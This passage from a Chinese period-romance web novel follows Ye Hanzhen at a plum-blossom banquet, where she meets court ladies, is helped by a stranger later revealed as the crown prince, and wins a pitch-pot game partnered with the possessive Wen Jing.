她轻轻吹了吹茶水面,慢慢啜饮两口,才又将茶盏放在桌子上。
“你就是临州刺史,叶府的小姐吧?”
叶含珍循声抬眼,只见一位穿着玉色绣折枝堆花棉裙的娇憨少女,正望着自己笑。
她乌黑油亮的发间除了簪了几只名贵的珠花,还戴着白兔绒做的昭君套,中间嵌着指头大的珍珠,显得右边颊上的梨涡越发可爱。
“是,只是不知小姐是—”
“我父亲是吏部侍郎,我姓曾,叶姐姐就叫我露儿就好了!”
叶含珍有些错愕,京中的贵女们都是如此自来熟吗?
那曾露儿见叶含珍愕然的样子,便有些羞红了脸,不好意思道:“我见姐姐独自一人坐在这里喝茶,我也没有寻到愿意说话的人,便只好厚着脸皮来打扰姐姐。”
“我方才听到了贵妃问你的年岁,便知你比我大,故才冒昧得唤你叶姐姐,希望叶姐姐不要嫌我唐突。”
“怎么会?”
难得有如此天真可爱的美人愿意和自己说话,叶含珍喜欢还来不及。
她摇头道:“妹妹生的活泼可爱,哪里冒昧了?只是我初来乍到,还有些不适应,还请曾妹妹见谅。”
“真的吗?”曾露儿喜出望外道。
听闻叶含珍并未对她有什么不快,便在她身边的空椅上坐下,“叶姐姐,这里待着好没意思,不如待会我们先去外面的园子里走走,待开席时再回来?”
像是怕叶含珍会拒绝,曾露儿又急急道:“叶姐姐不必担心贵妃和郡主不快,这梅花宴本就是要去赏梅的,这会园子赏花的人可多了,我们也去凑凑热闹吧!姐姐来得不算早,几位随贵妃娘娘来的公主们,早就带了人去庄子里梅林里逛了。”
“早就听说这菱花庄是先皇后最喜欢的庄子,宫里不轻易宴请宾客的,也就是舜华郡主出面,向皇上借着了这园子开宴,今日才能来游玩一番呢!”
她撅着小嘴的可爱模样,倒让叶含珍说不出拒绝的话。又兼之听到这园子的来历,便也觉得机会难得。
她方才随嬷嬷入庄子时,就被里面的景色深深吸引住,若不是顾忌今日的宴席,她也早就按捺不住性子,跑到梅花林里赏花了。
“曾妹妹相邀,我岂有拒绝之理?我方才进来时,便见一路上景色诱人,只是不好随意走动。如今有妹妹与我同去,我求之不得呢!”
曾露儿见叶含珍欣然答应,便牵着她的手,起身朝大堂屏风后走去。
绕过屏风,随侍的丫头们伺候着二人披好了披风,才提着裙角迈过门槛朝外走去。
“叶姐姐,再往前走,就是种着“骨里红”的园子了,”曾露儿见眼前的梅花已经变得紫红,便向叶含珍指起路来,“我三年前来过这里一次,是贵妃举办的梅花宴,只不过我那时年纪尚小,只记得梅花,不像我姐姐,回去之后没多久就被赐婚给七皇子做侧妃。”
她说话时口中的热气,很快就化作白雾,消散在寒风中。
叶含珍听完之后,心头猛得一跳,闻景到底为什么要自己来这梅花宴?
听曾露儿的语气,这梅花宴倒更像是相看宴。
“姐姐今日来菱花庄,应该也清楚这宴席的目的吧?”
曾露儿见叶含珍不言语,只当她害羞,她抬手折了支梅花,不停地把玩着,随口道:“我也是听阿娘和姐姐悄悄说得,说舜华郡主声势浩大的筹办这花宴,本来就是想着替闻景闻世子择妻的,哪知前些日子,太子殿下在凤梧宫里与皇上起了争执,宫里便放出消息来,说要趁着这次舜华郡主的梅花宴,悄悄定下太子妃和几位皇子的正妃。”
“太子和皇子们都还未娶正妃吗?”
叶含珍不解道。
京城的贵胄们当真是奇怪,怎的一个两个都未娶妻,闻景也是。
曾露儿知她是从临州来,可能还不知道宫里的那几个皇子,便热情讲解道:“如今皇上一共有五个成年的儿子,太子就不必说了,是
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先皇后所出的嫡子,他还有个一母同胞的妹妹,是当今五公主沈俞谣。六皇子沈俞静是柳贵妃所出的皇子,柳贵妃膝下还有两位公主,是七公主和十一公主。另外八皇子和九皇子的母妃,是已经仙逝的徳妃。剩下的十二皇子沈俞穹便是如今的容贵人所出。”
“这些年,几位皇子连着太子都只纳了侧妃,想来这次赏花宴后,太子妃和几位皇子妃就该定下人选了。”
叶含珍听了一大串皇族的事,想起早上絮叨自己的那人也还未娶妻,不由问道:“那郑国公世子闻景呢?妹妹可听说过?”
提到闻景,曾露儿却神色一僵,干笑道:“他是舜华郡主的儿子,又是郑国公府这辈子弟最出彩的一位,我当然认识,只是却不熟。”
“我听妹妹对宫里的事,如数家珍,怎么说到郑国公府,妹妹却说不熟?”
叶含珍试探道。
她来京中这么久,并不知闻景在京里是何名声,不过想来也不是什么好名声。
不然怎么会到现下,都没有定下婚事。
曾露儿见叶含珍对闻景有些感兴趣,只得尴尬得清了清嗓子,小声道:“我听阿娘说闻世子久经沙场,气势冷峻,京中的贵女们多数都有些怕这位,再加上闻世子常年不是在军营兵部里,就是出征,他的婚事便也耽搁起来。”
叶含珍:“那妹妹怕吗?”
“怕,”曾露儿想了想几年前在宫宴上远远的一眼,忍不住嘘声道,“我三年前曾在宫里的宴席上远远见过他一眼,便觉得手脚都发凉。要说京中的男子,我还是更喜欢太子殿下那般温和的。”
谁想嫁一个手里沾满人血的大冰块呢?
害怕闻景?
叶含珍握紧了手暖里的暖炉,指头更是用力地扣着鎏金暖炉上细纹。原来,也不止她害怕这人。
“当然,毕竟是郑国公府出身的世子,又手握实权,连皇上都另眼相看,还是有些贵女不仅不怕他,反而有意与他。太子殿下的胞妹,五公主就是其中一位。而且我私下里听说那五公主曾也向闻世子表过情意,只是闻世子看都未看她一眼,便直直越过人去。”
“公主他都看不上?”
叶含珍艰涩道。
天下间身份最贵重的待嫁贵女,只怕莫过于皇宫里的那几位公主。闻景这种浴血沙场,沾满血腥的人竟然还看不上五公主。
可笑。
可笑。
只是也不知那五公主眼神到底有多差,竟会看上闻景这种人面兽心,冷心冷清之人?
曾露儿叽叽喳喳说了一大堆的话,正得一路走着望着雪中美景,冷不防,脚下一滑直直朝路边的假山扑去。
叶含珍眼疾手快伸手抓住了她的衣袖,才减缓了她扑到的力道。只是,叶含珍劲再大,也只能将将让曾露儿的身形稳住,她的脚还是受伤了。
“呀!”曾露儿惊呼道,随即便蹲下身子,捂着受伤的脚踝泪眼汪汪道:“好疼!”
“要不要紧?”
叶含珍也着急得蹲下身去看她的脚踝,只是才碰到曾露儿的袜子,便又听得她一声抽泣。
“好疼啊叶姐姐!”
“露儿,这样待在这里不行!你的脚需要请大夫来看。”
“可是——”
叶含珍见她大冬天的额间不停地冒着汗珠,便知她伤得不轻。可是她又不熟悉这里的路,如何能带她走出去?
31. 梅花宴(二)
她急急望向曾露儿身边害怕得掉眼泪丫头,曾露儿也明白她的意思,倒吸着凉气委屈道:“鹅黄这是第一次随我出门,她也并不认得路。”
这下,叶含珍也不免有些慌乱起来。
这菱花庄极大,她们方才一路走来,只偶尔能见贵女们在附近,此刻她环视了周围半晌,也未见到除她们以外的人。
“小姐,那边有人!”
白枝指着不远处梅树下,喜出望外道:“奴婢方才见一个人影闪过,想来也是来这梅林里赏花的人,只是看身形,倒不像个女子。”
叶含珍转头望去,却只见那树上的雪屑还未落尽,并未见人影。
曾露儿迟疑道:“今日的梅花宴不止有各家的贵女,舜华郡主也邀了几位殿下来。姐姐若是觉得不便,那我们就在此处等一会,看有没有人会过来。”
她虽如此说着,只是叶含珍瞧着她唇间连血色都没有了,如何能在这冰天雪地里傻等?
顾不上那么多了,反正时下风气,年轻男女也可同宴。既然白枝说看见了人,那她定要去试试。
“妹妹在这里等我,我带青渚去瞧瞧,”她将手炉塞在曾露儿手中,语气笃定道:“若是有人,我一定搬救兵来带妹妹出去!青渚,你和鹅黄守好曾小姐。”
说完,便起身带着白枝朝那梅树走去。
她们方才所在的地方是一处假山下,等走近那枝桠横节的梅树下时,却未见到任何踪影。叶含珍不死心地有带着白枝往前行了数百步,才看着一座梅亭伫立在林间。
亭子四周皆被厚实幔帘遮住,亭子外正守着两个高大侍卫。
里面有人。
她低头只迟疑几息,便提步朝那梅亭走去。
“站住!来者何人?竟敢擅闯?”
叶含珍被侍卫一声喝住在原地,只能屏气解释道:“侍卫大哥,敢问你家主人可在?我本是今日来赴宴的,只是我的妹妹扭伤了脚,故来寻求你家主人帮忙!”
两个侍卫相视一眼,其中一人才道:“再往前行三盏茶的时辰,便有人可以帮你,我家主人有令,外事不得打扰他。”
叶含珍见他们只是指了路,并不打算出手相帮,心里不禁焦急起来。
还有三盏茶的时辰才能寻到人帮忙,可是曾妹妹在这冰天雪地里,等不了那么久。就算脚伤可以缓治,但是如今滴水成冰的天气,待久了怕是要生病的。
她无法,只得扬起声音道:“临州刺史之女惊扰贵人,还望贵人海涵,求贵人出手帮帮我妹妹!”
既然决定要帮曾妹妹,那她也豁出去了。就凭她的脚力,待寻到人,只怕会将曾妹妹冻坏的。
“重风,你脚程比这位小姐快,你去唤人去救她妹妹。”
“属下遵命。”
那位名叫重风得了里间人的号令,很快就离开了。
叶含珍正欲出声道谢时,却见那梅亭垂下的厚帘被人掀开,从里间走出一位身穿织金华服,外披白雪鹤氅的高大俊逸男子。
“多谢贵人出手相救,小女感激不尽!”
“你是临州刺史叶府的小姐?”
“回贵人,正是。”
叶含珍行礼起身后,看清了那人披风下的锦袍下摆上,绣的是云海麒麟纹,便知这人身份贵重,自己还是早些离开为妙。
沈俞静披着大氅望着不远处的陌生女子,疏朗温和的眉梢不免有些扬起。
临州刺史叶孝义。
他前些天才见过他儿子叶劲,没成想今日就这么巧的碰到了他府上的小姐,有意思。
“叶小姐,我听叶左寺说过他只有一位妹妹,不知你要方才口中的妹妹是—”
叶含珍听闻这男子认识叶劲,又知她家中的情况,便屈膝行礼道:“回贵人,小女是和吏部侍郎家的曾小姐一起来林子里逛,只是曾妹妹不慎扭伤了脚,故而我才不得不出言打扰贵人的雅兴,寻贵人相帮的。若是打扰了贵人,还贵人请见谅,我们这就离开。”
如今已经有人去唤人救曾妹妹了,她实在不必在此多待。叶含珍又朝那亭外的男子福了福身子,转身就往外走。
“叶小姐请留步,我见叶小姐冷的不轻,不如进来烤烤火?我去外面走走。”
这么焦急,原来是替别人搬救兵。
没想到叶家的小姐有如此胆色,不看僧面看佛面,那他也不妨大发慈悲,出手救一次吏部侍郎的女儿。
雪已经停住,这会连陷在厚重云层里的太阳也探出头,照得梅瓣上的积雪晶莹剔透,宛若罩上了一层琉璃。
日光在那薄薄雪层上,折射出细细碎碎的光。
沈俞静见她耳珠鼻尖冻得发红,口中呼出的白气瞬间消散在寒风中。而她手里,连个取暖的手炉都没有,忍不住开口喊住了人。
叶含珍听到身后的动静,咬了咬冻青的唇,转身婉拒道:“多谢贵人好意,只是我得去替救曾妹妹的人带路,就不打扰贵人了。”
沈俞静见她冷得身子都打颤,还毫不犹豫地拒绝自己的提议,便知她不肯留下来。
只是就在他开口前,她腰间的玉佩映着亮澄澄的日头,忽逼得他瞬间眯起眼眸。
“等一下!”
叶含珍茫然得抬起头,便朝那男子疾步朝自己走来,当即就害怕得往后退了几步,惊惧道:“你、你要该干什么?”
一旁的白枝更是将叶含珍护在身后,紧紧咬着牙根,蓄势待发。
沈俞静见自己吓到了她,便在距离她一丈之处停住了脚,歉意道:“叶小姐不必紧张,在下只是想借叶小姐的玉佩一看,不会有不轨之心。”
叶含珍闻言这才微微松了口气,颤声道:“这玉佩是我自小就不离身的,与其他玉佩并无特别之处。”
不过就是一只鸳鸯佩,怎么这贵人神情如此急促?
虽说时下男女大防不重,可也没有松到可以随意将贴身之物交给他人。
沈俞静听她这话,眸色越发幽暗。
他按下激动到要跳出嗓子眼的心,哑声道:“在下只是觉得这玉佩有些眼熟,故想借来看看,若是冒犯到小姐,那我向小姐道歉。”
“只是这玉佩,对我来说,真的很重要,还请小姐网开一面。”
叶含珍听他如此歉意,也不好再拒绝,只抖着雪白的指尖解下了玉佩,递给护在身前的白枝。
沈俞静接过玉佩后,便也解下腰间一枚荷包,掏出一枚玉佩,将两只玉
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佩并在一起,细细比对起来。
一模一样。
叶含珍疑惑得眨眨眼,不明白他到底在做什么。今日腰间佩戴的那枚羊脂白玉鸳鸯佩,是她自有记忆起,就一直在她身上。
除了料子名贵些,其他并无特别。
叶含珍不知道他在看什么,只知他还回玉佩时,眼眶都红了,不由好奇道:“贵人这是怎么了?难道是我这玉佩有什么问题吗?”
“没什么。”
沈俞静将自己取出的那枚玉佩,紧紧攥在手里,凝视着眼前一脸无辜的女子,“我的人熟悉这庄子,小姐不必担心他们带着人会寻不到曾小姐。”
“我见小姐脸色都冻青了,不如去梅亭里取取暖,我保证就在外面不进去。”
叶含珍带着白枝在林子走了一路,鞋袜早就浸湿了。从头至脚,就没有一处暖和的地方。
如今被三番两次得邀去取暖,饶是她也不免有所动摇。
就只是去烤烤火。
她们来的路上,也见到过供人歇脚的亭子里,有三三两两的男女围在火盆旁。
而且眼前的男子也再三保证说他不会进去。
叶含珍:“那就多谢贵人了。”
沈俞静见她终于肯答应去取暖,便侧身让路道:“小姐请。”
叶含珍带着白枝进了梅亭,围在烧得正旺的炭盆前使劲搓着手。直到二人身上都暖和起来后,才听到外间传来的声音。
“叶小姐,这里有只手炉,你回去时带着吧,在下先行一步。”
叶含珍的小脸被炭火烘得红扑扑的,听闻那贵人还给自己留了一只手炉,不由掀开帘子朝外一望。
只见这会外间哪里还有什么人,只有满是积雪的梅朵,开始被日头的热意渐渐融化。
暖了身子,还有手炉。
叶含珍很快就带着白枝朝来时路走去,不过才走了一会,便遇到了抬着曾露儿的轿辇。
“叶姐姐!”
曾露儿远远就望见叶含珍带着侍女,朝自己走来,不由高呼起来。
曾露儿受了伤,她母亲便向舜华郡主请了辞。
只是等叶含珍被人带到开宴的暖厅时,宴席早就开始了。
她被候在门口的小丫头带着入了坐,还未来得喝口热茶润润唇,就听见坐在主位上的舜华郡主道:“天寒地冻,劳烦诸位赏光来参加今日的宴席,待会用完了菜肴酒水,可尽情在庄子里逛。庄子各处皆设了取暖赏玩梅花的地方,一定要尽兴而归才好!”
席上众人皆举杯道好。
叶含珍也端起秀气的酒杯,浅浅抿了一口后,才开始用席面。
用完席面的众人,在舜华郡主的安排下,便各自散在庄子里闲逛起来。
只有叶含珍被白枝和青渚扶着,去了更衣的院子。她现下头晕得很,根本没有力气再去逛。
青渚和白枝早就在屋子里给她换下湿透的鞋袜,放在在熏笼旁烘着。
一双白净的脚则瑟缩在毯子下面。
她闭上一双盛着醉意的水润星眸,靠在炕上的靠枕上假寐起来。直到听得耳边有人发出一声笑声,才惊慌得睁开眼睛,循着声音看去。
“你累了?”
32. 彩头
不是闻景,还有哪个?
叶含珍见闻景穿着一件玉色夹棉锦袍,正站在熏笼前,笑吟吟得望着自己。
她脑海里不由想起曾露儿的话,一时不慎,唇角溢出一声笑音。
这轻轻浅浅的笑声,勾的闻景心头发热,只几步就侧身坐在炕沿上,直勾勾盯叶含珍弯起的眉眼。
“闻景,听说你不爱笑,可是有人误传了消息,害得京里的贵女们对你避之不及?”
“那是因为,”闻景俯身向前,凑在叶含珍耳边,吹气道,“我只对该笑的人笑。”
这暧昧的热气瞬间凝固住叶含珍面上的笑意,半晌后才低声道:“不需要。”
今日这宴席一结束,她就能离开闻景了,实在是不需要他对自己笑。
况且,今也许日之后,他的婚事就会敲定下来,他们再也不必见面。
闻景听到叶含珍的回答,便坐直了身子,拉开些距离,挑眉道:“外间有人玩投壶,你想去吗?”
“你不去的话,我就去。”
“我不去,”闻景抬手在叶含珍额间敲了敲,“我就知道你会这样说。”
“太子和宫里那几个皇子也来了,我得去陪他们去庄子走走。待会我送他们离开后,再送你回叶府。”
叶含珍十指一瞬间抓紧身上搭着的褥子,小心翼翼道:“你忙的吧,让白枝和青渚送我就行。”
哪知这话一出,闻景的脸色就黑沉下来。
“我说要送你,你就乖乖听着,否则,我可不敢保证自己会守住承诺,让你回家!”
听得闻景满含警告的话,叶含珍连脚趾头都吓得蜷缩起来。
要忍住,叶含珍。
不就是让他送送自己吗?
闻景见她被自己的话吓得脸色都变了,也不再多言。
掀开她身上盖的毯子,沉默着给人穿上丫头送来的干净鞋袜。
将白得晃人眼的脚丫,塞进干爽柔软的棉袜里,闻景满脑子里的绮思才得平息。
出了屋子,叶含珍带着人都要走到暖厅了,她脚上被那人滚烫大手接触过的肌肤,还隐隐发热。
甚至不自觉得用手背,去触碰自己绯红的双颊。
进了暖厅,里面果然见一群贵女在玩投壶的游戏。
叶含珍随意寻了位子坐下,很快就有丫头奉上热茶。
既然是游戏,那就有彩头。
她的目光落在厅里东北角的一盆绿萼梅上,不免有些心动。这盆绿萼梅,便是此次投壶胜者的彩头。
就在叶含珍出神时,她的肩头冷不防被人从身后轻拍了一下。
身子吓得抖了一下,才听到耳边传来一声清脆笑声。
“叶姐姐,是我呀!”
叶含珍苍白着一张脸回头,却见是闻菲正朝她笑得狡黠。
“闻四小姐。”
闻菲听叶含珍疏离的称呼,不由收起玩笑,小心翼翼道:“叶姐姐,你生气了吗?”
“没有,只是——”
叶含珍的话只说了一半,但闻菲已经明白她的意思。
她撅着小嘴道:“叶姐姐就是叶姐姐!姐姐别多想了,一起去玩游戏吧!”
闻菲说完这话,便抓着叶含珍的手,就往热闹的人群走去。
只是刚走到半路,就听到主持游戏的女官,已经判下这场投壶的输赢。
闻菲拉着叶含珍的手,急得跺脚道:“这已经是第四盆梅花了,再有一局,若是没有胜出,那今日就与这绿萼梅无缘了!”
舜华郡主命人总共才准备了五盆梅花做彩头,如今已经被人赢走四盆。
叶含珍瞧着闻菲小孩子般的急脾气,出言安慰道:“闻小姐别急,还有机会呢。”
闻菲:“叶姐姐,你会玩投壶吗?”
叶含珍:“会一些。”
她是临州刺史府的小姐,从前在临州时,也常常与来往的小姐们一起玩这游戏。
只是许久未玩,不知她的技艺有没有生疏。
“那敢情好,”闻菲兴奋道,“那我和姐姐一队,定要夺下这最后一盆绿萼梅!”
“闻菲,你口气真不小!只是我也觉得这盆梅花,应该会落在我手里。方才你怎么比着比着就跑了?难不成是知道自己赢不了游戏,落荒而逃?”
叶含珍抬眼。
只见几个贵女众星拱月般围着一个身姿纤细,玉貌绛唇的妙龄女子站在不远处。
闻菲回头一看,见是十一公主沈俞佳正面带嘲讽得看着她,不由反唇相讥道:“我当是谁呢?原来是十一公主啊!”
闻菲回呛道,“我方才只是去喝茶去了,才没有落荒而逃!只是公主,这最后一盆绿萼梅到底花落谁家,可不是放大话就能行的,得看实力!”
她才不怕她呢!
“闻菲,你竟敢对我如此无礼!”
闻菲见沈俞佳气得头上珠翠乱响,咧嘴一笑:“我可不敢对十一公主您无礼,只是我觉得今日鹿死谁手,还不一定呢!公主你不必如此激愤。”
叶含珍见那十一公主被闻菲的话气得不轻,便悄悄拉了拉她的衣袖,试图让她冷静下来。
闻菲被这一拉,脑子清醒不少,连带着面色也不复方才的激动。
今日是她娘亲操办的宴席,她可不能与沈俞佳吵起来。
沈俞佳见闻菲被身旁的女子一拉,倒是冷静不少,不免有些好奇闻菲这怎么会如何听这女子的话。
要知道,闻菲可是京里出了名的爆炭性子。
她朝前踱着步子,徐徐开口道:“这位小姐我怎么觉着这么眼生呢?你是谁?怎么见了本公主,还不下跪行礼呢?”
她不能拿闻菲如何,但是不代表她不能拿这个帮闻菲的女子如何。
叶含珍见她一双眸子不怀好意得瞪着自己,便知自己已经无法择身事外。
她松开闻菲的手,上前福身道:“临州刺史府叶含珍,见过十一公主,公主千岁千千岁。”
“临州?你就是临州刺史府上的小姐?”
叶含珍点头:“正是。”
沈俞佳听她承认,也不喊人起身,只围着叶含珍转了一圈回到原地时,才吐一个“起”字。
叶含珍僵硬着腿,缓缓站直了身子,脑子里却全是早上曾露儿对她讲的话。
眼前这位倨傲的女子,就是柳贵妃所出的十一公主?
叶含珍心里纳罕道。
只是她为何重复“临州”二字?难道她知道自己?
“十一公主,你看叶姐姐做什么?叶姐姐又没有惹你,”闻菲将叶含珍往身后一拉,戒备道,“你别欺负她!”
“闻菲!你——”
“你们在吵什么?”舜华郡主领着人出现在人群外。
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很快围观的各家贵女,就让出了一条道。
舜华郡主往前走了两步,环视了一圈,沉声道:“菲儿,给十一公主道歉。”
“娘!”
“闭嘴!”
她老远就听见自家女儿的声音,又见她与叶含珍站在一处,心口气得突突直跳。
闻菲见母亲已经沉下脸色,不敢再像先前那般神气,只好委屈巴巴朝沈俞佳屈膝道:“是闻菲失礼,请公主不要见怪。”
沈俞佳得了闻菲的道歉,也不好再咄咄逼人,摆了摆手帕道:“菲儿妹妹请起。”
“玩了这么久,不如歇会吧,”舜华郡主见二人和好,发话道,“我让人备了些点心,各位可先去用一些,再继续比试。”
在场的贵女们,都不是傻子,听见舜华郡主发话,便三三两两回到座位上。
叶含珍也被闻菲拉着一起落了座。
杏仁酥,八珍糕,云片糕,金银花糕,玫瑰酥……一样样流水似的各色点心,被训练有素的下人悄无声息得送到每人面前的案桌上。
最后,每人都有丫头端着一碗热点心放在面前。
“天气严寒,这是才做好的糖蒸酥酪,大家吃些,也暖暖身子。”
众女眷见这酥酪蒸得火候极好,还有各种蜜糖浇头可以按照自己的口味添加,一时皆端着碗,小口小口细嚼慢咽。
雪白的酥酪上浇上了一层又一层樱桃蜜,看得人不禁食指大动。
只是这诱人的酥酪在叶含珍眼里,却比洪水猛兽还来得嚇人。
就在她死死咬着唇,双手不停绞着手帕时,外间的下人忽进来向舜华郡主通报,说世子爷领着太子殿下和几位皇子公主过来了。
舜华郡主扫了一眼堂下众位已经竖起耳朵的贵女们,含笑道:“还不快请!”
说完起身朝门口走去。
身后的贵女们也纷纷从位子上起身,恭候太子大驾。
闻菲见叶含珍神色有异,却不敢再此时随意带人离开,只好拉着人一起站着。
很快,厚帘被外面的下人掀开。
沈俞静当头,身后跟着几位皇子和闻景等世家子弟先后入内。
“臣妾参见太子殿下,太子殿下千岁千岁千千岁!”
沈俞静一把扶起舜华郡主,温和道:“舜华姑姑快快请起,不必多礼。孤与几个弟弟听说今日的宴席上,有绿萼梅做投壶的彩头,便来凑凑热闹,若是太拘礼,反倒不美。”
舜华郡主起身后,便将太子与诸位皇子公主往里面引。
“难得殿下兴致如此好,亲临菱花庄,快请入座!”
沈俞静坐在椅子上,接过侍女奉上的热茶,喝了一口,徐徐问道:“不知那梅花可还有?”
“回殿下,还有最后一盆未有主人。”
二人说话间,早有下人抬着东北角那盆梅花放在大堂中央,供众人赏玩。
“碧波盈盈,白若浮雪,不愧是江南名品梅花!连孤也心动的很。”沈俞静眼神扫过孤傲清俊的绿萼梅,连连称赞。
只是不经意间瞟见那抹熟悉的身影时,嘴角的笑意凝滞了一息,才恢复如常。
舜华郡主:“既然太子殿下也有兴趣,不如咱们抓阄,抓到相同大小的两人为一队,赢得人就可以带走这花。”
“只是两人一组,一盆花,怎么分?”沈俞静疑惑道。
33. 小官之女
“难得殿下愿意纡尊降贵,来我席上赏光,我自当再添个彩头,凑个成双成对!”
舜华郡主说完朝身后的侍女看了一眼,继续道,“不瞒殿下,我还有一盆洒金梅可以一起做彩头,虽不如绿萼梅难得,也颇有风骨趣味,值得细赏。”
“好!姑姑思虑甚周!”
舜华郡主常年操办各类宴席,这种小事如何难得住她?
下人们动作很快,不出半盏茶的时间就捧着两个匣子,分别跪在太子和舜华郡主面前。
舜华郡主却道:“我来做判决,不参加比试,先让公主们抓。”
柳贵妃早在舜华郡主来之前就回了宫。
眼下除了舜华郡主,贵女中身份最高的便是同太子一行过来的五公主沈俞谣,十公主沈俞敏和十一公主沈俞佳。
那下人得了吩咐,依次跪在三位公主面前呈上匣子,待她们抓完纸团,才依次请其他贵女抓阄。
叶含珍坐下后仍盯着已经放凉的酥酪,席间的动静并没有入她的耳。
直到她被闻菲碰了碰手肘,才大梦初醒般朝那匣子伸手。
只是慌乱间,袖子带翻了那碗酥酪,还来不及去接,便听一声刺耳的瓷碗碎裂声响起。
“啪!”
这动静不小,瞬间连席上的窃窃私语都止住了,众人也纷纷抬眼朝她望去。
闻景早在进来时,就发现了叶含珍神色的不对劲,此时也目光沉沉得望去。
“大胆叶氏女,竟敢在太子哥哥面前失仪,该当何罪!”
叶含珍也好似被这尖锐的声音,刺痛了耳膜,当即就起身堂上之人跪下。
“臣女失仪,请太子殿下和舜华郡主恕罪!”
她双手交叠在额间,随后又将额头抵在冰凉的地板上。
只有她自己知道此刻的内心里有多慌乱,可是仍努力将腰背绷直。
“俞佳,叶小姐不过是不慎碰倒瓷碗,况且孤也并没有被吓到,你又何必如此严词激愤呢?”
沈俞静并不看激动得从位子跳起来的妹妹,只朝那跪在地上瑟缩着身子的人,温声细语道:“叶小姐不必多礼,快些起来吧。”
温热的掌心在地板上留下一块雾气。
叶含珍听着有些耳熟的声音,慢慢直起背脊,“多谢太子殿下。”
随后才慢慢起身,退回到位子上。
羽睫细颤,抬眼的瞬间望见了对面神色复杂的闻景,正目光灼灼得盯着自己。
她转过眼,却瞥见上座之人也朝她含笑对视。
他、他是太子!
林中帮自己的人,原来是太子殿下。
叶含珍一时大惊失色,原本渐渐平息的心跳又骤然往下坠了两下。
原本只剩下些许血色的脸,倏然间只留一片惨白。
掌心里的纸团已经被热汗捂的发潮,就连不久前换上的新鞋袜里,也有了汗意。
原本被酥酪分走大半心神的叶含珍,彻底没了比试的心思。
她朝身侧的闻菲附耳悄悄说了几句话,便要起身离开。
“叶小姐,可是身体不适?”
沈俞静没想过要瞒着她自己的身份,只是没想到她反应如此激烈。
如今见她又要离席,只好开口叫住了人。
“谢太子殿下关怀,臣女并无不适,只是这位置不是臣女的,臣女只是想回到自己的位置上。”
叶含珍被叫住的瞬间,耳旁一片嗡嗡作响,直到僵着身躯行礼时,才想出这副说辞。
她本来是想悄悄退出去,喘口气,没想到会被上座的男子注意到。
不过她的位置倒真的不是这里。
区区临州刺史府的小姐,怎么能和郑国公府的小姐一起坐?
这不合礼数。
“这倒也是,”沈俞谣看向眼前神色慌乱的女子,满眼赞同道,“叶小姐是个懂礼的,知道自己是什么身份,该坐什么位置。”
先前只有舜华郡主在,闻菲要拉着叶含珍坐在自己身边,也不算什么大事。
只是如今来了这许多的皇族贵胄,她再坐在这里,就很失礼了。
叶含珍也是明白这道理,才悄悄起身离开的。
闻菲听见这话,也只能暗恨自己没注意到这些细节,害得叶含珍被沈俞谣暗刺。
她瞪了一眼对面的闻景,想让他出口帮帮忙,没想到她大哥视若未闻,只低头端着茶盏,慢慢饮着茶水。
只是闻景喝得一盏茶水见了底,也没有尝出今日席上泡的是什么茶。
“多谢公主指点,臣女这就回自己位置上去。”
沈俞谣见她十分知趣迈着步子,朝门口的位置上走去,也不好开口再说什么。
临州府来的贵女,沈俞谣不得不往之前的谣言去想。
纤纤玉手松开了捏在手里的纸团,沈俞谣低头一看,只朝侧头闻景道:“表哥抓的是什么数?”
“回公主,是六。”
“啊?”沈俞谣撅嘴委屈道,“我抓的是九。”
沈俞静听见两人的话,暗暗看了一眼掌心已经打开的纸团。
三。
她会抽到什么呢?
叶含珍回到位置上后,便不敢再轻举妄动。
还是离那些人远一点好,她虽是第一次见这些公主,但从方才五公主和十一公主的话锋里,已经感觉到不善之意。
没关系的,等比试结束了,她就可以不用再见这些人了。
叠放在身前的手,早就将指甲掐进大腿上的肉。
她暗暗告诉自己,叶含珍,再坚持一下就好了。再坚持一下,今天就能回家见阿娘和哥哥。
下人们挨个收走众人手里的纸团,一一记下数。
等到叶含珍将笔墨有些晕开的纸团递给下人时,便清清楚楚听到一个“六”字。
众人抓阄组队的结果已出。
叶含珍深吸好几口气,才起身迈着沉重的步子,朝那一身玉色夹棉锦袍的高大男子走去。
闻景见她乖乖走到自己身边,只觉那茶水的甘味,才慢慢在舌根泛起。
输赢都已经不重要了。
她若是喜欢那两盆梅花,等宴会结束后,他就让人送十盆去叶府。
对了,梨花巷的宅子里也要有。
众位贵女见这位初来乍到的叶小姐,竟能面色沉静得站在闻景身侧,一时皆窃窃私语起来。
而一旁的沈俞佳和沈俞谣却暗中频频瞥向两人靠近的身姿。
尤其是沈俞佳。
她从自己哥哥那里知道了闻景从临州回来时,带着一位美人。所以方才她听到叶含珍表明身份时,便绕着人细细打量一番。
执箭,夹臂,点腕,扔出。
叶含珍动作熟练利落,手里飞出的平头箭羽倏忽间便稳稳插在壶口里。
发出一声“铮”的一声。
得十筹。
一旁的下人记下筹数。
闻景今次见她投壶如此厉害,除了惊喜,还有一股与有荣焉之感,滑过心尖。
眼瞧着闻景与叶含珍这队就要拿满筹时,相邻的沈俞佳却闹腾起来。
“姑姑,我不要和七哥一组,他投的太差劲了!”
“哼!小十一,你还没我筹数多呢!”七皇子朝沈俞佳
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撇嘴。
沈俞佳侧头又见叶含珍又要投,脑子不知怎么想的,猛然出手抓住了她的小臂,用力一拉,那箭羽便从叶含珍手里脱落,直直掉在地上。
“住手!”沈俞佳怒气冲冲道,“你不准再投了!”
叶含珍手臂上传来一阵剧痛,却根本挣脱不开。
离得最近的闻景眼疾手快,上前立刻一把捏住了沈俞佳的手腕,逼得她不得不松开手。
“俞佳!”
“沈俞佳!”
闻景和时刻关注这边状况的沈俞静同时怒吼道。
沈俞佳被二人同时喝住,又被闻景捏痛了手腕,眼眶眨眼间便泛起一层水雾,哭着喊着朝舜华郡主的方向跑去。
“姑姑!呜呜呜……姑姑,他们欺负我!”
叶含珍咬唇忍着小臂上还未褪去的痛觉,朝闻景道:“闻世子,该你了。”
本来她还不想赢什么绿萼梅,现下由不得她不争上一争。
免得白挨了抓!
闻景一边仔细打量着她脸上的神色,一边随手抓三只箭羽往那壶口扔去。
叶含珍的视线也随着那三只箭羽飞出,只见那三只箭羽稳稳插在三只壶口里。
“满贯十筹!”
下人高唱道。
“表哥真厉害呀!”沈俞谣拍手叫好道。
比试的结果很快就出来了。毫不意外,闻景和叶含珍这队稳居第一。
舜华郡主早在听到闻景和叶含珍抓到相同大小的数时,就明白那匣子已经被她的好儿子动过手脚。
此时两人能拿得第一,也不是什么值得惊讶的事。
她被沈俞佳吵得头疼,只好拍着她的背,哄道:“好佳儿,别哭了,姑姑那里还有不少名贵的花,都送给你,好不好?”
